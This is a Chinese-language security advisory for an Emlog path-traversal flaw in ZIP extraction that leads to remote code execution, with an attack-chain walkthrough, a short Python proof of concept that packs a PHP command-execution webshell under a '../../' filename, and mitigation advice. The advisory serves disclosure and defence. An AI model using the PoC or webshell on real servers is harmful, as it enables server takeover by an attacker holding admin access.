IPBUF安全漏洞报告
English
CVE-2026-34607 CVSS 7.2 高危

CVE-2026-34607 Emlog路径遍历漏洞致RCE

披露日期: 2026-04-03

漏洞信息

漏洞编号
CVE-2026-34607
漏洞类型
路径遍历, 远程代码执行
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Emlog

相关标签

路径遍历远程代码执行Emlog文件上传ZIP解压CVE-2026-34607

漏洞概述

Emlog开源建站系统2.6.2及更早版本中存在严重的路径遍历漏洞。该漏洞位于`emUnZip`函数中,由于在解压ZIP归档时未对条目名称进行充分过滤,经过身份验证的管理员可以上传特制的ZIP压缩包。攻击者利用文件名中的`../`序列,可将恶意文件(如Webshell)写入服务器文件系统的任意位置,最终导致远程代码执行。目前官方尚未发布修复补丁。

技术细节

漏洞核心位于Emlog源码`include/lib/common.php`第793行的`emUnZip`函数中。该函数负责处理插件、模板上传及备份导入等场景下的ZIP文件解压操作。问题代码直接调用了PHP ZipArchive类的`extractTo($path)`方法,但在此之前完全缺失了对压缩包内部文件路径的安全校验与清洗机制。攻击者利用这一缺陷,可以构造一个恶意的ZIP文件,其中包含的文件名含有路径遍历序列(例如`../../shell.php`)。当拥有管理员权限的攻击者上传该ZIP文件时,系统会自动解压。由于路径未受限制,恶意文件会被写入到原本预期的解压目录之外,如Web根目录。攻击者随后可通过浏览器访问该恶意文件,从而在服务器端执行任意系统命令,完全控制服务器。

攻击链分析

STEP 1
步骤1:获取权限
攻击者获取Emlog系统的管理员账户凭证。
STEP 2
步骤2:构造恶意文件
攻击者创建一个特制的ZIP文件,其中包含路径遍历序列(如../)的恶意文件名(如webshell)。
STEP 3
步骤3:上传文件
攻击者登录后台,通过插件上传、模板上传或备份导入功能上传该恶意ZIP文件。
STEP 4
步骤4:触发解压
服务器在处理上传文件时,调用存在漏洞的emUnZip函数进行解压,由于未过滤路径,文件被写入到Web根目录。
STEP 5
步骤5:执行代码
攻击者通过浏览器访问写入的恶意文件,在服务器上执行任意系统命令,获取服务器控制权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import zipfile # Create a malicious ZIP file containing a PHP webshell # The filename uses '../' to traverse out of the extraction directory malicious_filename = "../../evil.php" webshell_content = "<?php system($_GET['cmd']); ?>" with zipfile.ZipFile('exploit.zip', 'w') as zf: # Write the webshell content with the traversal path zf.writestr(malicious_filename, webshell_content) print("Malicious ZIP file 'exploit.zip' created successfully.") print("Upload this file as a plugin or template backup in the Emlog admin panel.")

影响范围

Emlog <= 2.6.2

防御指南

临时缓解措施
建议立即在`include/lib/common.php`的`emUnZip`函数中添加路径过滤逻辑。在调用`extractTo`之前,检查ZIP内每个文件的路径,禁止包含"../"或绝对路径的文件被解压。此外,可将解压操作限制在临时的隔离目录中,手动验证后再移动文件。如果无需使用插件或模板上传功能,可暂时在后台禁用相关接口以降低风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表